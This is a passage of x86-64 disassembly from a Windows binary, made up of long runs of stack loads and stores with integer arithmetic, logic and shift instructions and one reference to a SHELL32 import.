mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xbd60]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xce68]
mov qword [rsp + 0xe130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe130]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6af4], eax
mov eax, dword [rsp + 0x6be8]
mov dword [rsp + 0x6dec], eax
mov rax, qword [rsp + 0xd330]
mov rcx, qword [rsp + 0xbf50]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xdec8], rax
movsx eax, word [rsp + 0x17b0]
mov rcx, qword [rsp + 0xdde0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74f0], ax
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov word [rsp + 0x1a34], ax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0xcd88]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc708]
mov byte [rcx], al
mov rax, qword [rsp + 0xc470]
movsx eax, byte [rax]
movsx ecx, byte [0x1402c90a7]
sub eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0xcac0]
movzx eax, byte [rax]
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0xddb8]
mov rcx, qword [rsp + 0xc748]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6d50], eax
lea rax, [rsp + 0xcfd0]
mov qword [rsp + 0xe138], rax
mov rax, qword [rsp + 0xc538]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcbb8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a20]
mov ecx, dword [rsp + 0x6b80]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcb50]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd028]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd80]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402c75a4], ax
movzx eax, word [rsp + 0x1744]
mov word [rsp + 0x1a38], ax
movsx eax, word [rsp + 0x188c]
mov rcx, qword [rsp + 0xcd00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xbea8]
movzx eax, byte [rax]
mov byte [rsp + 0x188], al
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0xa5]
sar eax, cl
mov byte [rsp + 0x187], al
mov eax, dword [rsp + 0x6ae0]
mov dword [rsp + 0x6df0], eax
mov rax, qword [rsp + 0xc638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6dd0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c1c], eax
mov rax, qword [rsp + 0xc810]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdb48]
shl rax, cl
mov qword [rsp + 0xd0b8], rax
lea rax, [rsp + 0xcc28]
mov qword [rsp + 0xe140], rax
movzx eax, word [rsp + 0x159c]
mov rcx, qword [rsp + 0xbb10]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c92b0], ax
mov rax, qword [rsp + 0xcbe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19bc]
add eax, ecx
mov word [rsp + 0x1668], ax
lea rax, [rsp + 0x15a4]
mov qword [rsp + 0xe148], rax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c90a5]
and eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0xc470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd240]
mov byte [rcx], al
lea rax, [rsp + 0xd0a8]
mov qword [rsp + 0xe150], rax
mov rax, qword [rsp + 0xc7f8]
mov ecx, dword [rsp + 0x6b4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c2c], eax
mov rax, qword [rsp + 0xc848]
mov rax, qword [rax]
mov qword [rsp + 0xe158], rax
mov rax, qword [rsp + 0xc080]
mov rcx, qword [rsp + 0xc4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdc80]
mov dword [rcx], eax
mov rax, qword [0x1402c9500]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbf]
add eax, ecx
mov byte [0x1402c750a], al
mov rax, qword [rsp + 0xbf40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x61]
sub eax, ecx
mov rcx, qword [rsp + 0xd288]
mov byte [rcx], al
mov rax, qword [rsp + 0xd088]
movzx eax, byte [rax]
mov byte [rsp + 0x189], al
movzx eax, word [0x1402c7518]
mov rcx, qword [rsp + 0xca60]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xdc30]
mov word [rcx], ax
movzx eax, word [rsp + 0x167c]
mov word [rsp + 0x1a3c], ax
mov rax, qword [rsp + 0xd280]
mov rcx, qword [rsp + 0xd978]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd00], rax
mov eax, dword [rsp + 0x6cd0]
mov ecx, dword [rsp + 0x6ab4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a48], eax
mov rax, qword [rsp + 0xc688]
mov rax, qword [rax]
mov qword [rsp + 0xe160], rax
mov rax, qword [rsp + 0xcef8]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6c94], eax
lea rax, [rsp + 0xdc]
mov qword [rsp + 0xe168], rax
mov rax, qword [rsp + 0xd568]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd570]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402c90b0], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
shl eax, cl
mov rcx, qword [rsp + 0xc430]
mov byte [rcx], al
movzx eax, word [rsp + 0x18dc]
mov word [rsp + 0x1a40], ax
movsx eax, byte [rsp + 0x10f]
movsx ecx, byte [rsp + 0xf6]
or eax, ecx
mov byte [rsp + 0xcf], al
mov eax, dword [rsp + 0x6bb0]
mov ecx, dword [rsp + 0x6b40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe008]
mov dword [rcx], eax
mov rax, qword [rsp + 0xce18]
mov rax, qword [rax]
mov qword [rsp + 0xe170], rax
mov rax, qword [rsp + 0xd8d8]
mov ecx, dword [rsp + 0x6d1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6c74], eax
lea rax, [rsp + 0xe0f8]
mov qword [rsp + 0xe178], rax
movsx eax, word [rsp + 0x18a0]
mov rcx, qword [rsp + 0xc490]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1998], ax
mov rax, qword [rsp + 0xc520]
movzx eax, word [rax]
mov word [0x1402c9598], ax
mov rax, qword [rsp + 0xdf38]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc9b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x179], al
movzx eax, byte [rsp + 0x6e]
mov byte [rsp + 0x18a], al
movzx eax, word [rsp + 0x18cc]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcee8]
mov word [rcx], ax
lea rax, [rsp + 0x6aa4]
mov qword [rsp + 0xe180], rax
mov rax, qword [rsp + 0xcf20]
mov rcx, qword [rsp + 0xbe38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdbc8], rax
mov rax, qword [rsp + 0xdbd0]
mov rcx, qword [rsp + 0xd3a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd2a0], rax
mov eax, dword [rsp + 0x6b80]
mov dword [rsp + 0x6df4], eax
movzx eax, byte [0x1402c74bb]
mov rcx, qword [rsp + 0xdda0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77], al
movzx eax, word [rsp + 0x16ec]
movzx ecx, word [rsp + 0x1730]
sub eax, ecx
mov rcx, qword [0x1402c93a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x18b], al
mov rax, qword [rsp + 0xd508]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd420]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15f0], ax
lea rax, [rsp + 0x1684]
mov qword [rsp + 0xe188], rax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xd888]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcf30]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdd10]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xcb48]
idiv dword [rcx]
mov dword [rsp + 0x6af4], eax
mov eax, dword [rsp + 0x6b30]
mov dword [rsp + 0x6df8], eax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xdd98]
mov qword [rcx], rax
lea rax, [rsp + 0x1618]
mov qword [rsp + 0xe190], rax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc2]
xor eax, ecx
mov byte [0x1402c74c6], al
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74e7]
shl eax, cl
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov rax, qword [rsp + 0xc710]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcf70]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf3]
mov byte [rsp + 0x18c], al
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74d7]
and eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
mov eax, dword [rsp + 0x6a74]
mov dword [rsp + 0x6dfc], eax
mov rax, qword [rsp + 0xc650]
mov rcx, qword [rsp + 0xcbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0xc3d0]
mov rcx, qword [rsp + 0xd960]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xce38]
mov dword [rcx], eax
lea rax, [rsp + 0xdc38]
mov qword [rsp + 0xe198], rax
lea rax, [rsp + 0x186c]
mov qword [0x1402c95a0], rax
movsx eax, byte [rsp + 0x175]
mov rcx, qword [0x1402c94b0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xd958]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov word [rsp + 0x1a44], ax
movzx eax, word [rsp + 0x16c4]
imul eax, eax, 0x7f0
mov word [rsp + 0x182c], ax
movsx eax, word [rsp + 0x181c]
mov rcx, qword [rsp + 0xc5c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1630], ax
mov eax, dword [rsp + 0x6d68]
mov dword [rsp + 0x6e00], eax
mov rax, qword [rsp + 0xccf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6db8], eax
lea rax, [rsp + 0xc858]
mov qword [rsp + 0xe1a0], rax
mov rax, qword [rsp + 0xbb68]
mov rcx, qword [rsp + 0xd0e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd480], rax
mov rax, qword [rsp + 0xc910]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x117]
sub eax, ecx
mov byte [0x1402c74a5], al
mov rax, qword [rsp + 0xdb98]
movzx eax, word [rax]
mov word [rsp + 0x1a48], ax
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x155]
sub eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x12a], al
movzx eax, word [rsp + 0x18d0]
mov word [rsp + 0x1a4c], ax
mov rax, qword [rsp + 0xd548]
mov rcx, qword [rsp + 0xd300]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6d58], eax
mov rax, qword [rsp + 0xd8f8]
mov eax, dword [rax]
mov dword [rsp + 0x6e04], eax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xc788]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc300], rax
mov rax, qword [rsp + 0xd750]
mov rcx, qword [rsp + 0xbb40]
mov qword [rsp + 0xe1a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe1a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xde38], rax
mov rax, qword [rsp + 0xd418]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd090]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c75a8], ax
mov rax, qword [0x1402c9380]
movzx eax, byte [rax]
mov byte [rsp + 0x18d], al
movzx eax, word [rsp + 0x16e0]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e0], ax
movzx eax, byte [rsp + 0x7e]
mov byte [rsp + 0x18e], al
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [0x1402c9190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0xd560]
mov rcx, qword [rsp + 0xbdc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd7a0], rax
lea rax, [rsp + 0xd750]
mov qword [rsp + 0xe1b0], rax
mov eax, dword [rsp + 0x6a30]
mov ecx, dword [rsp + 0x6978]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd3f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd3f8]
mov eax, dword [rax]
mov dword [rsp + 0x6e08], eax
movzx eax, byte [rsp + 0x92]
movzx ecx, byte [rsp + 0x17d]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILCombine], al
mov rax, qword [rsp + 0xc1e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc3]
sub eax, ecx
mov byte [rsp + 0x158], al
lea rax, [rsp + 0x1a4c]
mov qword [rsp + 0xe1b8], rax
mov rax, qword [rsp + 0xcbe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xdde0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1970], ax
movzx eax, byte [0x1402c748f]
movzx ecx, byte [rsp + 0x11a]
add eax, ecx
mov byte [rsp + 0x15b], al
mov rax, qword [rsp + 0xe198]
mov rax, qword [rax]
mov qword [rsp + 0xe1c0], rax
mov rax, qword [rsp + 0xce18]
mov rcx, qword [rsp + 0xbeb8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc518]
mov qword [rcx], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6e0c], eax
mov rax, qword [rsp + 0xdba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bd8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1678]
movzx ecx, word [rsp + 0x16ec]
xor eax, ecx
mov word [0x1402c7538], ax
movsx eax, byte [rsp + 0x124]
mov rcx, qword [rsp + 0xd958]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xcd10]
mov byte [rcx], al
lea rax, [rsp + 0xee]
mov qword [rsp + 0xe1c8], rax
mov rax, qword [rsp + 0xe018]
movsx eax, word [rax]
movsx ecx, word [0x1402c75a8]
sar eax, cl
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0xe040]
movzx eax, word [rax]
mov word [rsp + 0x1a50], ax
mov rax, qword [rsp + 0xd260]
mov rcx, qword [rsp + 0xbb40]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe038], rax
mov rax, qword [rsp + 0xce68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bcc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc7f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdbc8]
mov qword [rsp + 0xe1d0], rax
mov rax, qword [rsp + 0xcc88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6bfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd708]
mov dword [rcx], eax
movzx eax, word [rsp + 0x19fc]
mov rcx, qword [rsp + 0xd938]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74a0], ax
mov rax, qword [rsp + 0xce88]
movzx eax, byte [rax]
mov byte [rsp + 0x18f], al
movsx eax, word [rsp + 0x1988]
mov rcx, qword [rsp + 0xd3c8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17a8], ax
movsx eax, byte [0x1402c90b3]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov byte [rsp + 0x14f], al
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x190], al
mov rax, qword [rsp + 0xd6e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc460]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xce18]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd428]
mov qword [rsp + 0xe1d8], rax
mov eax, dword [rsp + 0x6de4]
mov ecx, dword [rsp + 0x68a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ab0], eax
lea rax, [rsp + 0x6b40]
mov qword [rsp + 0xe1e0], rax
movzx eax, word [rsp + 0x1834]
mov word [0x1402c95a8], ax
movsx eax, word [0x1402c74e0]
movsx ecx, word [rsp + 0x1614]
add eax, ecx
mov word [rsp + 0x19d0], ax
movzx eax, word [rsp + 0x1808]
mov rcx, qword [rsp + 0xdb68]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15ac], ax
lea rax, [rsp + 0x153]
mov qword [rsp + 0xe1e8], rax
mov rax, qword [0x1402c9260]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xcb40]
mov byte [rcx], al
lea rax, [rsp + 0xd098]
mov qword [rsp + 0xe1f0], rax
mov rax, qword [rsp + 0xdb70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcb28]
shl rax, cl
mov qword [rsp + 0xd428], rax
mov rax, qword [rsp + 0xcba0]
mov rcx, qword [rsp + 0xdbe8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6a4c], eax
lea rax, [rsp + 0x6ca8]
mov qword [rsp + 0xe1f8], rax
mov rax, qword [rsp + 0xc6d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd850]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xca70]
mov byte [rcx], al
lea rax, [rsp + 0x120]
mov qword [0x1402c95b0], rax
lea rax, [rsp + 0x1974]
mov qword [rsp + 0xe200], rax
mov rax, qword [rsp + 0xe1b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe068]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x161c], ax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x178]
add eax, ecx
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0xce98]
mov eax, dword [rax]
mov dword [rsp + 0x6e10], eax
mov rax, qword [rsp + 0xbe38]
mov rcx, qword [rsp + 0xbde8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd208]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd5c8]
mov eax, dword [rax]
mov dword [rsp + 0x6e14], eax
mov rax, qword [rsp + 0xd948]
mov rcx, qword [rsp + 0xca78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xce58], rax
movzx eax, word [rsp + 0x19f0]
movzx ecx, word [rsp + 0x1968]
sub eax, ecx
mov word [rsp + 0x17ac], ax
movsx eax, word [rsp + 0x16f0]
movsx ecx, word [rsp + 0x19c0]
sub eax, ecx
mov word [0x1402c74d0], ax
mov rax, qword [rsp + 0xc1a8]
movzx eax, byte [rax]
mov byte [rsp + 0x191], al
movzx eax, word [rsp + 0x1714]
movzx ecx, word [rsp + 0x1624]
sub eax, ecx
mov rcx, qword [rsp + 0xcd58]
mov word [rcx], ax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xe208], rax
mov rax, qword [rsp + 0xdbd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc888]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb48], rax
mov eax, dword [rsp + 0x6ad4]
mov dword [rsp + 0x6e18], eax
mov eax, dword [rsp + 0x68fc]
mov ecx, dword [0x1402c90a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c8c], eax
mov rax, qword [rsp + 0xdd38]
mov rcx, qword [rsp + 0xc040]
mov qword [rsp + 0xe210], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe210]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd518]
mov qword [rcx], rax
movzx eax, word [rsp + 0x17b4]
mov word [rsp + 0x1a54], ax
mov rax, qword [0x1402c93d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8b]
xor eax, ecx
mov rcx, qword [0x1402c9180]
mov byte [rcx], al
movsx eax, byte [rsp + 0xf8]
movsx ecx, byte [rsp + 0x57]
sar eax, cl
mov byte [rsp + 0x87], al
lea rax, [rsp + 0x1730]
mov qword [rsp + 0xe218], rax
mov rax, qword [rsp + 0xdfa8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1598]
or eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0xd4e0]
mov rcx, qword [rsp + 0xcff8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcde0], rax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xd7c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc218]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc868]
mov qword [rcx], rax
lea rax, [rsp + 0x6d64]
mov qword [rsp + 0xe220], rax
movsx eax, byte [rsp + 0x13d]
movsx ecx, byte [0x1402c74c3]
sub eax, ecx
mov byte [rsp + 0xed], al
lea rax, [rsp + 0x19d8]
mov qword [0x1402c95b8], rax
mov rax, qword [rsp + 0xdc48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1644]
add eax, ecx
mov word [rsp + 0x1a40], ax
mov rax, qword [rsp + 0xdda0]
movzx eax, byte [rax]
mov byte [rsp + 0x192], al
mov rax, qword [rsp + 0xdb90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
sub eax, ecx
mov byte [rsp + 0xfc], al
mov rax, qword [rsp + 0xd008]
movzx eax, word [rax]
mov word [rsp + 0x1a58], ax
mov rax, qword [rsp + 0xde98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd940]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd900], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xe228], rax
mov eax, dword [rsp + 0x6c38]
mov ecx, dword [rsp + 0x6b38]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69d4], eax
mov rax, qword [rsp + 0xbb40]
mov rcx, qword [0x1402c90a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xd6e8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x105]
mov rcx, qword [rsp + 0xcec8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c750e], al
movzx eax, word [rsp + 0x1818]
mov word [rsp + 0x1a5c], ax
mov rax, qword [rsp + 0xe1e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
and eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0xd4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x193], al
mov rax, qword [rsp + 0xc318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdb38]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc388]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0c8], rax
mov eax, dword [rsp + 0x6ab8]
mov dword [rsp + 0x6e20], eax
mov rax, qword [rsp + 0xbd50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd28]
mov qword [rsp + 0xe230], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe230]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xe150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov dword [rsp + 0x6e24], eax
mov rax, qword [rsp + 0xc680]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbdb0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c74bc], ax
mov rax, qword [rsp + 0xcec0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd840]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1900], ax
mov rax, qword [0x1402c9530]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1864]
add eax, ecx
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0xd8d0]
movzx eax, word [rax]
mov word [rsp + 0x1a60], ax
movzx eax, byte [rsp + 0x17f]
mov rcx, qword [rsp + 0xd7e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc320]
mov byte [rcx], al
lea rax, [rsp + 0xdc40]
mov qword [rsp + 0xe238], rax
mov rax, qword [rsp + 0xce00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ce0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a14], eax
mov eax, dword [rsp + 0x69d4]
mov ecx, dword [rsp + 0x6d00]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
lea rax, [rsp + 0xd6b8]
mov qword [rsp + 0xe240], rax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c7580], ax
movsx eax, word [rsp + 0x155c]
movsx ecx, word [rsp + 0x1734]
sub eax, ecx
mov word [rsp + 0x1758], ax
movzx eax, byte [rsp + 0x129]
mov byte [rsp + 0x194], al
mov rax, qword [rsp + 0xbfe8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb3]
add eax, ecx
mov byte [rsp + 0x7e], al
movzx eax, byte [rsp + 0x13a]
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xe0f0]
mov ecx, dword [rsp + 0x6c24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6aac], eax
mov rax, qword [rsp + 0xcba0]
mov rcx, qword [rsp + 0xddf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b90], eax
mov rax, qword [rsp + 0xc168]
mov qword [rsp + 0xe248], rax
mov rax, qword [rsp + 0xd7f8]
mov rcx, qword [rsp + 0xd668]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc9f0], rax
movzx eax, byte [rsp + 0x6e]
mov rcx, qword [rsp + 0xdab8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1402c750f], al
mov rax, qword [rsp + 0xd418]
movzx eax, word [rax]
mov word [rsp + 0x1a64], ax
movzx eax, word [rsp + 0x16ec]
movzx ecx, word [rsp + 0x15fc]
shl eax, cl
mov word [rsp + 0x1994], ax
movsx eax, byte [rsp + 0x10e]
movsx ecx, byte [rsp + 0x72]
sar eax, cl
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xd1a8]
movzx eax, word [rax]
mov word [rsp + 0x1a68], ax
mov eax, dword [rsp + 0x6cd0]
mov ecx, dword [0x1402c7498]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc8], eax
mov rax, qword [rsp + 0xdb00]
mov qword [rsp + 0xe250], rax
mov rax, qword [rsp + 0xd0c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6da0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcc40]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xd0e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcdc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc4e8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9188]
mov word [rcx], ax
lea rax, [rsp + 0x17b]
mov qword [rsp + 0xe258], rax
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a10]
and eax, ecx
mov rcx, qword [rsp + 0xdb98]
mov word [rcx], ax
lea rax, [rsp + 0x1780]
